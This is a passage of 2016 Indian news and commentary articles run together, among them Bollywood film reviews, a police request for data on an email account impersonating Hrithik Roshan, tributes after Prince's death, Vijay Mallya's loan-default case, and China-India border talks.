There he meets the young and impressionable Rajesh Dhiman (Akshay Oberoi) who is so awe-struck by his charisma, his swagger, his inventive ways of making money under the table and his Yamaha RX100 (which, the film tells us, makes men irresistible to women) that he soon becomes his protege.

Also in the picture is their straight-laced classmate Poonam Sharma (Pia Bajpai) and a late entrant into the story, Superintendent of Police Gajraj Singh (Rajniesh Duggall), the local Haryanvi boy who made it big.

The films supporting actors are a uniformly competent lot, though a special mention must be made of Rajendra Sethi  another excellent yet underrated actor  playing one of Shankars cohorts. Bajpai is good for the most part even though she is not entirely convincing with her fake bad English.

In what is one of the films nicest touches, the characters in Laal Rang are not built up as menacing repulsive villains, yet they are clearly an amoral bunch who, for instance, celebrate a dengue epidemic because of the gains it brings blood racketeers like them. What the film teaches us about their underhand dealings is terrifying. It is the kind of story that will make you hesitate to ever visit a blood bank again, though of course we do not have a choice in this matter, a realisation that would chill any normal human being to the bone.

The films undoing is what seems to be confusion over the tone it wants to achieve. And so, although large parts of the narrative have a very apt, realistic feel to them, Laal Rang never becomes as gritty as it needed to be because of its tendency to intermittently wander off into long, loud songs supplemented by stylised, slow motion shots. The insistent background score is used to underline every single emotion, twist and turn as if for fear that the audience may miss the point.

As standalone scenes and music videos outside a feature film, some of these are pretty impressive. In one passage in the film, for instance, Shankar takes Rajesh for a ride on his mobike and as the music plays and the wind blows through his hair, he seems to ask his young pillion rider to take the handlebars while he himself lets go and reaches into his pocket for a cigarette. Ooh. Neat.

While this scene works because it comes before we discover the horrid reality of the blood underworld that is Laal Rangs focus, once we settle into that theme, the repeated musical asides become an irritant.

A great subject alone doth not a great film make. Relevant topics translate into good films when they are peopled with human beings that we become completely involved with. That does not happen here. There is a distant feel to Laal Rang, the air of a newspaper reporter recounting a corruption scandal as a detached observer would and should, rather than an insiders account, which is what this is supposed to be.

There is a memorable moment early in Laal Rang when Shankar hails a cycle rickshaw, and an aerial shot shows us every single rickshawpuller on that street immediately freezing at his summons. They do it out of choice and not for fear of him, as we soon find out.

One of the poor men tells Rajesh that they consider Shankar god (the choice of divine name for the character even comes up for a mention at one point). Later we realise that all the men in that scene were probably professional donors (PDs) whose impoverished existence was greatly improved by the extra money Shankars business brings in.

The film needed more of that kind of material minus the overdone music. Laal Rang tells us a lot about the fraudulent operations of the countrys blood banks. Wish it had got us to feel invested in the lives of the men and women who run the fraud, especially the likes of Shankar and Rajesh who have a straight path staring them in the face yet choose a crooked way.

This film has many interesting individual elements but fails to lift off in its entirety. So yes, Randeep Hooda is hot, but Laal Rang is not.
Mumbai: An application has been filed by Mumbai police before a local court seeking issuance of notice to authorities at Mail and Media Inc regarding information about an email ID allegedly created by an imposter in the name of Bollywood actor Hrithik Roshan.

On 25 March, Hrithik had registered a complaint with the cyber crime cell in suburban Bandra Kurla Complex claiming that the ID 'hroshan.email.com' has been generated by an imposter and that the person was using it to communicate with his fans and others.

Hrithik had lodged the complaint after actress Kangana Ranaut at filmmaker Karan Johar's birthday party in May 2014 thanked Hrithik for appreciating her work in the film Queen.

When Hrithik told her he had not seen the movie, Kangana told him that she had received an email from him from the 'hroshan.email.com' ID and that she has been corresponding on the email ID since several months.

Hrithik then denied having any such email address and said his ID was another one. Kangana, who has fallen out with Hrithik, later forwarded all the email sent and received by her from the 'hroshan.email.com' ID.

Acting on Hrithik's complaint, the cyber crime cell on 18 March sent a letter to the Chief Technical Officer of Mail and Media Inc. which runs 'email.com' seeking information about the said account.

The chief technical officer replied to the police and asked them to contact the company's legal department at 'legalnotice@mail.com'.

Accordingly, police sent a letter on 31 March to the legal department which stated in a reply that "We require subpoena from a court to release such account information. If you are able to provide such document please address it as follows."

The cyber cell then filed the application before the metropolitan magistrate on 18 April requesting it to issue a notice to the company situated in Pennsylvania, US, under Section 91 of the Criminal Procedure Code (CrPC) directing it to produce the said information.

"If the court does not issue the notice then the police will not be able to probe the complaint further due to lack of information," the application filed by Cyber Crime Cell police inspector Kalpana Gadekar said.

Hrithik and Kangana are embroiled in a legal spat wherein both the actors have slapped legal notices on each other for defamation.

While Hrithik had claimed that Kangana was making false claims that they were in a relationship, Kangana said they shared personal as well as professional relationship.
Santa Banta jokes are a national treasure. Their long survival is, in a sense, an ode to the countrys Sikhs who are among the few Indian communities with the ability to laugh at themselves (an image that terrorists and sections of the clergy have been consistently trying to undermine, ever since bombs were exploded in theatres showing Jo Bole So Nihaal in Delhi in 2005).

Hindi cinema has also been guilty of unfairly exploiting the Sikh sense of humour by lazily and unintelligently stereotyping Sardars as belligerent loudmouths and buffoons even in spaces where laughter is not relevant. Theres a thesis begging to be written here. Suffice it to say for the purpose of this review that director Akashdeeps Santa Banta Pvt Ltd comes to theatres bearing the burden of a formidable legacy.

The film stars Boman Irani and Vir Das as small-time crooks Santeshwar Singh and Banteshwar Singh from Patiala. The two are mistaken for a duo of renowned and skilled spies going by the nicknames Santa and Banta, and are consequently roped in by Indias RAW (Research and Analysis Wing) to solve the kidnapping of the countrys High Commissioner to Fiji, Shankar Roy (Ayub Khan). Since the agent responsible for the confusion  a guy called Arvind played by Vijay Raaz  cannot afford to admit to his faux pas, Santa and Banta are packed off to Fiji.

There they meet the ambassadors wife Kareena S. Roy (Neha Dhupia who also plays the love of Santas life, Billo), the wealthy antiques trader Sonu Sultan (Ram Kapoor) who is also the Roys friend, a RAW agent called Akbar Allahabadi (Sanjay Mishra) who is Santa-Bantas pointsperson in that country, an undercover RAW operative called Queenie Taneja a.k.a. QT (Lisa Haydon), a Nepalese underworld don (Johnny Lever) and the gangster Antonio Kapoor (Ranjeet).

The multiplicity of characters introduced in quick succession justifies the text plates flashing on screen with their names and photographs in the beginning. You might assume that confusion over who is who would be the risk this film runs. That ends up not being the problem at all. The problem Santa Banta Pvt Ltd ends up with is: who cares who is who?

It is perhaps illogical to expect better from a film that takes itself so casually. When the opening Hindi voiceover speaks of Hindu, Muslim, Isaai, Sikh, the English words flashing on screen are Hindu, Muslim, Catholic, Sikh (umm, Catholics are only a sub-set of Christians). Actress-model Lisa Haydons name is spelt differently in the opening and end credits. And Ram Kapoor suffers from inexplicably inconsistent lighting and makeup  he is pink and perspiring in early scenes, after which his face seems to be cast in shadow. These are not crimes, as less finicky folk may point out, but they reveal a lackadaisical attitude towards the filmmakers own product which is bound to be in evidence in the rest of the film too.

And so it is. Irani and Das have personable personalities, good comic timing and the ability to let their hair down on screen. The films best scenes are the ones that bring them together and focus entirely on them. Oddly enough, the writers seem not to recognise that they and humour are Santa Banta Pvt Ltds USPs, and end up spending too much time on a boring plot involving the High Commissioner that gives too much space to everyone and everything else.

Not that the rest of the cast do not deserve to be on camera. As you can see, they are a roll call of some of Hindi cinemas best comedians. But good actors can do little when the script is so limited, and this one in any case has too little comedy and an abundance of nothingness.

Take for instance the sub-plot involving the Nepalese gangster. For some reason the man keeps getting phone calls from a voice addressing him as Bahadur and asking him to open the gate. Wit that draws on community stereotypes require high-IQ writing to be effective. This one is unimaginative and irritating and yet is repeated ad nauseam. Besides, if Lever contorts his face and body on screen one more time in his career, I think I might scream.

With Santa Banta Pvt Ltd, I was too busy keeping myself awake to summon up the energy to do so.

The films initial scenes feature the sort of wisecrack that regular Santa-Banta consumers know well. When they squabble over how to split Rs 1,000 between them, one of them suggests that they go 50-50. Okay, says the other, but what about the remaining Rs 900?

Its the sort of light-hearted nonsense that should have filled the film. Theres simply not enough of it. Every 20 minutes or so, there is one really good, enjoyably silly joke (which proves the writers potential for this genre) and then  yawn, yawn, yawn  it is back to the dull grind. Considering that the film runs for about 113 minutes, that adds up to a total of approximately six jokes. Why?

Santa Banta also features too many noisy, unmelodious songs with redemption coming in the form of just one foot-tapping number, 'Machli Jal Ki Rani Hai' sung by Sonu Nigam and Vikas Bhalla, both of whom make guest appearances to sing it.

Former prime minister Manmohan Singh also has a cameo of sorts in Santa Banta Pvt Ltd. Sadly for him, like the government he headed till 2014, there is little he can do to save this film.
Los Angeles: Pop icon Prince  whose pioneering brand of danceable funk made him one of music's most influential figures  died on Thursday at his compound in Minnesota. He was 57.

The announcement came just a week after the enigmatic Grammy and Oscar winner  acclaimed for his guitar skills and soaring falsetto  was taken to hospital with a bad bout of influenza, which he made light of after the scare.

"It is with profound sadness that I am confirming that the legendary, iconic performer, Prince Rogers Nelson, has died at his Paisley Park residence this morning," said his spokeswoman, Yvette Noel-Schure, without elaborating.

The Carver County sheriff's office in Minnesota confirmed on Twitter that Prince had been "found dead" at the compound and said it had opened an investigation into the circumstances.

Prince became an international sensation in the 1980s, when he popularized the Minneapolis sound of danceable funk, incorporating rock elements. His 1984 album "Purple Rain" is often described as one of the greatest of all time.

The artist -- whose huge catalogue of hits includes "1999," "Cream" and "Kiss" -- lived on the outskirts of Minneapolis, where he was known for throwing parties and preserving his back recording in vaults at his Paisley Park studio.

He changed his name in the 1990s to an unpronounceable "love symbol" and wrote "slave" on his cheek to protest contractual conditions by his label Warner.

He was recently prolific in his output, releasing albums through streaming site Tidal, and has taken to scheduling shows at the last minute to avoid scalpers.

Fellow musicians and other celebrities led an immediate outpouring of tributes and expressions of shock.

"He was definitely an original and a one of a kind," the "Queen of Soul" Aretha Franklin told MSNBC. "Prince is gone, but the music will go on."

God bless this creative giant. Thanks Prince. Love X Paul  Paul McCartney (@PaulMcCartney) April 21, 2016

Saddened by Prince's death. Proud to have seen in the New Year with him. He seemed fine and played brilliantly funky music.  Paul McCartney (@PaulMcCartney) April 21, 2016

"RIP our dearly beloved Prince. Tears and love on our tour bus... I'll never forget my brother. We've had good times," American musician, producer, and guitarist Nile Rodgers tweeted.

"And just like that...the world lost a lot of magic," pop diva Katy Perry said.

And just like that...the world lost a lot of magic  Rest in peace Prince! Thanks for giving us so much...  KATY PERRY (@katyperry) April 21, 2016

"Devastated to hear the news about Prince. An enormous talent that we were all big fans of," the official account of British pop group Duran Duran posted.

"Devastated to hear the news about Prince. An enormous talent that we were all big fans of." - Duran Duran pic.twitter.com/478Q9dVF7K  Duran Duran (@duranduran) April 21, 2016

"I Miss My Brother. Prince Was A Funny Cat. Great Sense Of Humor," director Spike Lee tweeted.

I Miss My Brother. Prince Was A Funny Cat. Great Sense Of Humor. https://t.co/67umQghtbi  Spike Lee (@SpikeLee) April 21, 2016

Recording Academy president Neil Portnow mourned the seven-time Grammy winner, calling him "one of the most uniquely gifted artists of all time."

"Never one to conform, he redefined and forever changed our musical landscape. Prince was an original who influenced so many, and his legacy will live on forever," he said in a statement.

Samuel L Jackson was among dozens of Hollywood stars who took to social media within an hour of the news breaking, describing feeling "crushed" by Prince's death.

I'm Crushed!! UK news reporting Prince Is Dead?! For Real?! Massive Loss for us all! What a Genius! Speechless.  Samuel L. Jackson (@SamuelLJackson) April 21, 2016

Actress Whoopi Goldberg and TV scientist Neil deGrasse Tyson both observed that Prince's death "is what it sounds like When Doves Cry," referring to the lead single from Purple Rain.

This is what it sounds like when doves cry.. Prince R.I.P. Condolences to his family & 2 us all  Whoopi Goldberg (@WhoopiGoldberg) April 21, 2016
New Delhi: The government is working on guidelines for defence FDI proposals where foreign investment would be more than 49 percent.

At present, FDI up to 49 percent is allowed under automatic route in the defence sector, while Foreign

Investment Promotion Board's approval is required for proposals committing foreign investment beyond 49 percent.

A meeting on the formulation of guidelines was held in the Ministry of Defence earlier this week, sources said.

The guidelines would help facilitate foreign investments for beyond 49 percent shareholding, they added.

Last year, the government relaxed FDI norms in the defence sector by allowing FDI up to 49 percent under automatic route and beyond that through the FIPB's approval.

The development assumes significance as French defence major DCNS has approached the government with a 100 percent FDI proposal in the sector.

Although the government had liberalised the FDI cap in the sector, but no major overseas investment has been received in the segment so far.

The move would also help boost the domestic industry which imports up to 70 percent of its military hardware.

PTI
In March 2016, Saudi Arabia stunned the world with an unusual announcement. Its oil minister Ali al-Naimi stated the following at a Berlin conference: I dont think there is a more ideal country for renewables than Saudi Arabia, given its abundant sunshine, available land and plentiful sand, which is needed for making solar panels. Of course, this wont happen overnight, he added by way of clarification. He expects consumers to continue using fossil fuel for the next 50 years. But his statement that Saudi Arabia would make a foray into solar power was the last thing investors had on their minds.

In fact, should Saudi Arabia put its money behind solar power, expect the pace of growth for solar to climb frenetically. Solar power is already expected to grow by 28% during 2016 (see chart).

Already, last year was a scorcher. 2015 ended with around 59 GW (giga Watt or 1,000 MW) of solar installed capacity. This made it another record year in terms of solar PV installation, It represented a 700% increase from the 2008 annual demand. Clearly, the solar PV industry has grown exponentially and is worth more than $100 billion now.

2016 promises to be another double digit growth year . Various analysts put the growth of solar power in 2016 anywhere between 10-17%, to about 69 GW. Almost 93% of the demand will come from just three countries: India, China and the US. Saudi Arabias investments could cause this number to flare up further.

But why is Saudi Arabia moving away from oil? To understand its decision to begin looking to solar energy, it might be helpful to listen carefully to the utterances of Prince Mohammed bin Salman, grandson of the founder king of Saudi Arabia.

Just a few days ago, in an interview with Bloomberg Businessweek, he pointed to the urgent need for his country to restructure its finances. He was of the belief that his country should change fundamentally. The alternative would be catastrophic.

It was only last year that the countrys managers discovered that thanks to rapidly falling oil prices, Saudi Arabia had witnessed a continuous (and precipitous) fall in its forex reserves. Analysts believed that bankruptcy would be just a couple of years away. The oil price crash had resulted in a budget shortfall of almost $200 billion. Historically, the country depended on oil for 90% of its budget requirements. Now that was fast evaporating.

That could also explain why all eyes are now set on 25 April (three days away) when Prince Mohammed is slated to present his Vision for the Kingdom of Saudi Arabia. That is when he is likely to unfold a plan incorporating widespread economic and social changes.

According to BusinessWeek, it includes

1) the creation of the worlds largest sovereign wealth fund, which will eventually hold more than $2 trillion in assetsenough to buy all of Apple, Google, Microsoft, and Berkshire Hathaway, the worlds four largest public companies.

2) an IPO that could sell off less than 5 percent of Saudi Aramco, the national oil producer, which will be turned into the worlds biggest industrial conglomerate (watch out, Mukesh Ambani!).

3) diversification into non-petroleum assets, hedging the kingdoms nearly total dependence on oil for revenue.

According to BusinessWeek, these moves will technically make investments the source of Saudi government revenue, not oil . . .[so that] within 20 years, we will be an economy or state that doesnt depend mainly on oil.

Expect solar power to be a major driver. And wait for April 25!

This is first of the four part series article on the solar fortunes.
Bengaluru: Diageo plc on Thursday challenged Debt Recovery Tribunal's power to direct it to deposit USD 40

million, a part of USD 75 million payout package signed with liquor baron Vijay Mallya who is facing a multi-agency probe including for alleged money laundering.

The company contended before the tribunal that the amount was paid outside India.

"The amount of USD 40 million, which is a part of USD 75 million payout package between Mallya and us, was paid outside India and hence the DRT does not have power to direct us to attach the money before the tribunal. Such a deal does not fall in the jurisdiction of DRT," Diageo argued.

As soon as the proceedings began at the tribunal here, Diageo Counsel submitted the copy of the objections filed against SBI-led Bankers' memo, seeking depositing of USD 40 million before the DRT.

The consortium led by State Bank of India had filed a memo putting a claim on the payout of USD 40 million to Mallya by Diageo as part of the sweetheart deal.

According to the deal, Diageo agreed to pay Mallya USD 75 million in five instalments in lieu of the liquor baron stepping down from the post of Chairman of United Spirits.

An amount of USD 40 million was paid immediately after Mallya quit from chairman's post.

Making submissions before DRT Presiding Officer C R Benakanahalli, Diageo's counsel prayed that the tribunal should reject the bankers' memo for its inconsistent claims on relief.

Diageo also argued that USD 40 million was paid to Mallya on February 25, much before DRT's March 7 order, and hence the attempt of the bankers to recreate liability is questionable and untenable.

DRT, in its March 7 order had barred Mallya from withdrawing USD 75 million exit payment from Diageo till the disposal of the case over the loan default by his Kingfisher Airlines.

It also had restrained Diageo and United Spirits Ltd, owned by the UK-based firm, from temporarily disbursing the amount to Mallya, who worked out the deal under a severance package.

Diageo also argued that the remaining USD 35 million to be paid to Mallya was subject to certain conditions, which

means it is not a guarantee that it would be transferred to him and hence there does not arise any question of attaching

the money before the tribunal.

Diageo also contended that DRT will not have any jurisdiction over the transfer of remaining USD 35 million to Mallya because the amount will be paid outside India.

The bankers, on the other hand, sought time to consult on the interim order passed by the Bombay High Court, asking the

Service Tax Department to attach the sale of proceedings of Mallya's private aircraft parked at Mumbai airport.

They had on April 13 filed an application, seeking attachment of the sale proceedings of Mallya's private aircraft by the Service Tax Department, which is going to auction it on May 12 and 13 to recover their dues estimated to be nearly Rs 535 crore.

Last month, the department had claimed in a petition to the Bombay High Court that Mallya's total disputed liability in respect of service tax was to the tune of Rs 535 crore.

It was also claimed that Mallya had collected a large sum of money as service tax from flyers of the now-grounded Kingfisher Airlines on behalf of the government, but the same was not deposited in the government treasury.

Mallya, whose now-defunct group company Kingfisher Airlines owes over Rs 9,000 crore to 17 banks, had left the country on March 2 and is believed to be in the UK.

Benakanahalli posted the matter for next hearing on April 29.
Nikesh Arora, president and chief operating officer of Softbank, who spearheaded many investments by the Japanese multinational into India last year, has been accused of wrong doing and poor investment decisions, according to media reports.

According to a report in Bloomberg, a clutch of Softbank investors has written to the company seeking an investigation into some the deals struck by the high-profile executive and even sought a possible dismissal. Arora is designated as the successor to Mayasohi Son, the current chairman, who is also the founder.

The 11-page letter signed by Matthwew Schwartz, a partner at Softbank, and sent through American law firm Boies Schiller & Flexner, has raised questions about Arora's conflict of interest as he is also the senior adviser to private equity firm SilverLake, the Bloomberg report said.

In a separate letter, an investor in Sprint Corp, controlled by Softbank, has sought his removal from position at the Japanese company, the report said. According to the report, Arora continues to get compensation in his role as a senior adviser to Silver Lake for technology investments which is similar to investments that SoftBank does.

Interestingly, two investments Arora did in India also figure in the letter - one is the investment into Snapdeal, in which he held a personal stake, raising the conflict of interest issue, and another one into real estate portal Housing.com, according to a report in VCCircle.

The letter also terms the compensation paid to Arora as alarming and intolerable. Softbank paid Arora a phenomenal and yet unsurpassed pay package in Japan of 16.6 billion yen for the seven months of the previous fiscal year that he had worked, the Bloomberg report said.

Meanwhile, Arora is under no fire from his bosses at Softbank, which he joined in 2014 and was promoted as president soon after.

"I have complete trust in him and know he will continue to do great things for Softbank in the future," Masayoshi Son, founder and chairman of Softbank has been quoted as saying in the Bloomberg report.

Arora has denied any wrong doing on his part too. "I think my track record speaks for itself," he has been quoted as saying in the Bloomberg report.

With agency inputs
Government invited bids from merchant bankers interested in assisting it in the sale of 10% stake in blue-chip NMDC which could fetch about Rs 3,900 crore to the exchequer.

It will select four merchant bankers for managing the stake sale in India's largest iron ore producer NMDC.

As per the Expression of Interest floated by Department of Investment and Public Asset Management (DIPAM), the last date for submission of bids by merchant bankers is 16 May.

At the current market price of Rs 100.20 a piece, sale of 39.64 crore shares through an offer for sale (OFS) would fetch about Rs 3,900 crore to the exchequer.

Government currently holds 80 per cent stake in the PSU, which has a paid up capital of Rs 396.47 crore.

The government would also allot shares up to a maximum of 5 per cent of the OFS size to NMDC employees at a discount of 5 per cent to the issue or discovered price. The employees will be eligible to apply for shares up to Rs 2 lakhs only.

The PSU, which is in the administrative control of the Ministry of Steel, is primarily engaged in the business of iron ore mining but is also expanding its activities towards production of steel and other value added products.

Proceeds from NMDC disinvestment will be part of government's total disinvestment target of Rs 56,500 crore this fiscal. Of the target, Rs 36,000 crore is estimated to come from minority stake sale in PSUs, and the remaining Rs 20,500 crore from strategic sale in both profit and loss- making companies.

The government had last sold 10 per cent stake in NMDC in December 2012 during which it had netted Rs 5,900 crore to the exchequer.

Shares of NMDC had slipped over 3 per cent during the day to Rs 99 a share. It recovered in afternoon trade and was quoting at Rs 100.20 on BSE.
The dominant tone of the affidavit filed by liquor-baron, Vijay Mallya at the Supreme Court (SC) on Thursday, in connection with his Rs 9,000 crore bank loan default case, is that of utter defiance.

In his affidavit, Mallya refused to disclose his current location or his plans to return India to face the law of the land. The King of Good Times said banks have no right to seek the details of his overseas assets. Mallya criticized the unseemly haste by the government in suspending his passport that created impediments in the whole process and endeavor. Mallya said he is ready to pay a token amount of Rs 1,591 crore to prove his bonafides and pay the rest in parts. The whole affidavit sounded like someone making a generous offer than a wilful defaulter negotiating settlement with banks.

There are few important aspects in the Kingfisher-Mallya case that shows Mallyas persistent defiant attitude, in the context of the latest affidavit:

One, an individual, against whom non-bailable arrest warrants (NBW) are issued by multiple courts, whose passport is suspended and whose arrest is sought by the Enforcement Directorate (ED), is unwilling to even disclose his location, forget appearing in person before the court, despite being asked by the court repeatedly. It shows the extent of Mallyas defiance to the law of the land. Mallya is a perfect example of how the rich and the powerful can dictate their own terms to the establishment  something unthinkable for an ordinary citizen facing charges of loan default or financial irregularities. The question is should the country and its taxpayers tolerate such a mockery of the system?

Two, Mallya doesnt consider himself as a wilful defaulter. He denied this charge vehemently. The Kingfisher Airlines was a genuine commercial/business failure and it is vehemently denied that any loan advanced by any of the petitioner banks to the Airlines has been at all misused or otherwise Respondent No. 3 (Mallya) has amassed assets/properties in the names of his family members or relatives or friends with intention to defeat the purpose of recovery of alleged dues, the affidavit said. Remember, banks have tagged Mallya as a wilful defaulter after extensive audits and investigations under the rules laid out by the Reserve Bank of India, not at their whims.

Here, Mallyas claim that he is an honest borrower and not a wilful defaulter is evidently questionable. The ED has already found that part of the loan Mallya took for Kingfisher has been diverted abroad to buy assets, a charge the UB group has denied.

Had Mallya been a genuine borrower, the industrialist would have made efforts to pay back the money well in advance and would not have waited till he is cornered by the banks, courts and the government agencies. The Kingfisher loan turned an NPA back in 2012. The reason why banks rejected his earlier offer to pay up Rs 4,000 crore is that lenders do not trust the promise of the liquor-baron. Even the latest affidavit doesnt give a roadmap to pay up the full amount banks claim (a little over Rs 9,000 crore).

Three, Mallyas claim that he is not an absconder is proving to be untrue by his own defiance at this stage with respect to the secrecy of his location and absence of commitment to return to the country. Mallya left the country on 2 March and since then has stated (through twitter and his lawyers) that he is not an absconder. In the first week of April, the SC asked Mallya to know within two weeks when he will return to the country. But even in yesterdays (Thursday) affidavit, Mallya has not told the court what are his plans of return and the whereabouts of his current location. This strengthens the belief that Mallya indeed left the country with the intention to flee. One shouldnt be surprised if the liquor-baron seeks an easy-to-get foreign citizenship such as Malta (where one can be a citizen if he invests certain amount) and secure a passport.

Four, Mallyas claim the move of External Affairs Ministry at the insistence of ED to suspend his passport has created impediments in the whole process and endeavor of loan settlement doesnt hold much water. ED proceeded to take such an action after issuing multiple summons to Mallya and waiting for his response.

Five, Mallyas argument that banks cannot claim his overseas asset details and his request to the court that the same (he offered to pass on to the SC in sealed cover) should not be shared with banks is rubbish. The whole purpose of the case in the court is the recovery of the money from Mallya. It is up to the banks to identify his assets and proceed with the recovery process. It is not the job of a court. Mallyas claim that banks do not have claim on his overseas assets will be contested by banks since Mallya has given his personal guarantee on the loan. In the event of loan default, the guarantor is liable to pay up from his personal assets.

Six, another question arises here is that why Mallya still continues as a member of Indian Parliament despite facing a host of charges against him and unethical behavior. As Firstposts former Editor, R Jagannathan argued in this article, Mallya is a fit case of expulsion from Parliament for the simple reasons that he has brought shame to the institution by behaving unethically with India.

Kingfisher loan turned NPA in 2012. Two banks  SBI and PNB - have already tagged Mallya as a wilful defaulter. Banks very action of tagging Mallya as a wilful defaulter negates Mallyas argument that he deserves a fair treatment by banks at this stage. This case has grown far beyond the status of a normal banker-borrower dispute. Mallya shouldnt be allowed to continue with the delaying tactics and hard bargain. Certainly, the drinks mogul doesnt deserve any special treatment by courts and banks than a common citizen does.
Itanagar: At least 16 persons were killed when a massive landslide triggered by incessant rains hit a labour camp in Tawang district of Arunachal Pradesh on Friday.

The incident occurred at 3 am when 19 labourers engaged in construction works were inside the camp at Phamla village, 6 km away from Tawang town, SP Anto Alphonse said.

"Altogether 16 bodies have been extricated from the debris, while one seriously injured has been shifted to Tezpur in neighbouring Assam," the SP said, adding two labourers were safe.

He said incessant rains for the past couple of days had triggered landslides in several places of the border district.

All the bodies were recovered in the joint operation carried out by the Army, civil administration, police and villagers, he said.

The PWD road between New Lebrang and government higher secondary school is also blocked due to landslide, while damage to residential buildings has been reported from the area.

Prime Minister Narendra Modi has expressed grief over the loss of lives. In a message, the Prime Minister extended his condolences to the bereaved families.

Congress President Sonia Gandhi expressed distress and shock over the loss of lives in the landslide. She asked Congress MLAs, the PCC and the frontal organisations to volunteer in relief work.
Patna: Lord Hanuman has defaulted on payment property tax of Rs.4.33 lakh in a Bihar town and authorities have decided to issue notice to him to make the payment at the earliest, officials said on Friday.

Lord Hanuman is a "property tax defaulter" in Ara, district headquarters of Bhojpur, in Bihar.

"Lord Hanuman has property tax dues of Rs 4.33 lakh to be paid to Ara Nagar Nigam," a civic official said.

According to Ara Municipal Corporation officials, there are three holdings (property) in the name of Lord Hanuman at Badi Mathiae town.

Concerned officials have informed the temple authorities twice to clear the dues of holding tax. But it is yet to be paid.

According to Ara municipal commissioner Pramod Kumar, there is a provision to send notice in the name of holder. "Three properties are in the name of Hanuman and property tax has not been paid."

In February this year, a lower court in Rohtas district issued summons to Lord Hanuman for appearance in court in connection with a roadside temple dedicated to him.

The sub-divisional magistrate in Rohtas asked the reverred monkey god of Indian mythology to appear in his court after hearing a complaint of encroachment filed by the state Public Works Department.

Earlier, an official in Begusarai district had issued an encroachment notice against 'Bajrang Bali' regarding a roadside temple constructed in his honour in Lohia Nagar area.

Protesting Bajrang Dal workers, however, forced the authorities to dump the notice.

On 1 February, a lawyer in Bihar's Sitamarhi district lodged a complaint against Lord Ram and his brother Laxman for ill treatment of Ram's pregnant wife Sita.

Chief Judicial Magistrate Rash Bihari rejected the case as "not maintainable" and "beyond logic and facts" as the petition had sought registration of a case against Lord Ram and his brother Laxman for banishing Sita into exile "without proper justification", especially when she was pregnant.
New Delhi: CPI(M) on Friday raised questions on Prime Minister Narendra Modi's commitment to development of Jammu and Kashmir, saying the way the Centre handled the unrest in the state post Handwara killings "inspires no confidence" in this regard.

Expressing concern over the killings, the party said that the Armed Forces (Special Powers) Act (AFSPA) should be withdrawn from the state and demanded a "credible" probe into the incident to "assuage" some of the anger among people in that area.

"The Prime Minister, who visited Jammu a few days after the turmoil in the Valley, evoked (Atal Bihari) Vajpayee's slogan of insaniyat (humanity), jumhooriat (democracy) and Kashmiriyat to assure the people of Jammu & Kashmir that this will be the path adopted.

"But the way the Centre has handled the unrest after the Handwara incident inspires no confidence," former CPI(M) general secretary Prakash Karat said.

Karat made the remark in the editorial of forthcoming issue of party mouthpiece 'People's Democracy'.

He said the "first reaction" of the government after the Handwara incident was to sent more troops and paramilitary forces to the state which goes against both "humanity and democratic rights" of local people.

Noting Jammu and Kashmir already has six lakh Army and paramilitary personnel stationed there, Karat called for dismantling of the security structures, "which oppress civilian population".

Karat demanded AFSPA, which enables Army to act "with impunity" against civilian population, be withdrawn and suggested the government to begin the process from parts of the state barring border areas.

"The Modi government has to revive the dialogue process to cover the entire political spectrum in Jammu and Kashmir. This is something to which BJP has an ingrained hostility. Now that it is in a coalition government in the state, it can no longer afford to reject this process," he said.

He said how the Mehbooba Mufti-led PDP-BJP coalition takes steps to deal with the killings and its aftermath will be the "first major test" for her new government.
New Delhi: BJP on Friday suggested that the charge against extremist Hindutva organisation in Samjhauta Express and Malegaon blasts could be an outcome of the then UPA government's "prejudice" as it raked up 'Hindutva terror' and 'saffron terror' remarks of the then Union ministers.

The party cited a series of comments of Congress leaders and the then ministers to claim that whatever happened appeared to be a "deliberate attempt driven by vote bank politics and political prejudices".

Party spokesperson Sudhanshu Trivedi cited RTI replies, comments of the then officials connected with these probes, intelligence of foreign agencies and court proceedings to allege that the UPA government's actions have come under a "deep suspicion".

"Use of such phrases by top Congress leaders almost one and an half year before cases were properly transferred (to NIA), when there was no probe report or court's proceedings raises a big question about their intentions, make it appear that this was not the natural outcome of investigation.

"It appears to be a deliberate attempt caused by your (Congress) vote bank politics and political prejudice," he told a press conference.

Trivedi alleged that the saffron terror phrase was first used in 2009 and then Congress vice president Rahul Gandhi had reportedly said in an interaction in July 2010 that 'Hindu terrorism' was more dangerous than other terrorism.

The then Home Minister P Chidambaram used the saffron terrorism phrase in Parliament in August 2010, Trivedi alleged, and wondered if this was a mere coincidence. He also referred to Congress leader Digvijay Singh releasing a book that had "linked RSS to 26/11 Mumabi terror attack".

He condemned Congress for accusing the government of "subverting" the probe in these cases and said courts should be allowed to adjudicate.

BJP, he clarified, was not responding to the legal aspect of the cases and their investigation but only highlighting political comments made by Congress leaders.

Accusing Congress of practicing "petty politics" in a matter of national security, he said the party should offer regret for its use of such terms.
Beijing: China and India should "meet each other halfway" to reach a "fair and reasonable" political solution to the border dispute acceptable to both sides, the Chinese Foreign Ministry has said in an indication of Beijing's willingness to make concessions on the vexed issue.

As National Security Advisor Ajit Doval, who along with his Chinese counterpart Yang Jiechi held border talks, concluded his visit in Beijing, China said in a statement that both sides had in-depth and candid exchanges on the boundary question, bilateral relations and relevant international and regional issues.

"Both sides agreed that the negotiation on China-India boundary maintains a positive momentum, with boundary disputes effectively controlled and boundary regions generally peaceful and stable," said the statement on the boundary talks held on 20-21 April.

"Starting from the big picture of long-term development of bilateral relations, both sides will, with the positive attitude of mutual respect and understanding and on the basis of existing results from negotiations, stay on the track of political settlement, stick to peaceful negotiations to resolve the boundary question, meet each other halfway and continue to promote the process of framework negotiation so as to strive for a fair and reasonable solution that both sides accept," the statement posted on the foreign ministry website said.

China has rarely publicly talked about meeting India "half way" on the vexed boundary dispute.

The reference to both the countries to stay on track for a political settlement is seen as significant as officials on both side say negotiations have reached a stage for the political leadership on both sides to take a decision to reach a solution.

Doval's predecessor, Shivshankar Menon, who represented India in several rounds of the border talks, said in 2014 during a meeting in Beijing that all the technical work has been done and it is for the leaders of both the countries to take a call.

"In the meantime, the two countries should properly manage and handle disputes, strengthen consultations on boundary affairs and well safeguard peace and tranquillity in boundary regions so as to create favourable conditions for the development of bilateral relations," the statement said.

It said both sides shared the view that the development of China-India relations is of great significance and has broad prospects.

"China and India have far more common interests than differences. Marked by President Xi Jinping's visit to India in 2014 and the visit paid by Prime Minister Narenda Modi of India to China in 2015, China-India relations have entered a new era of comprehensive and rapid development," it said.
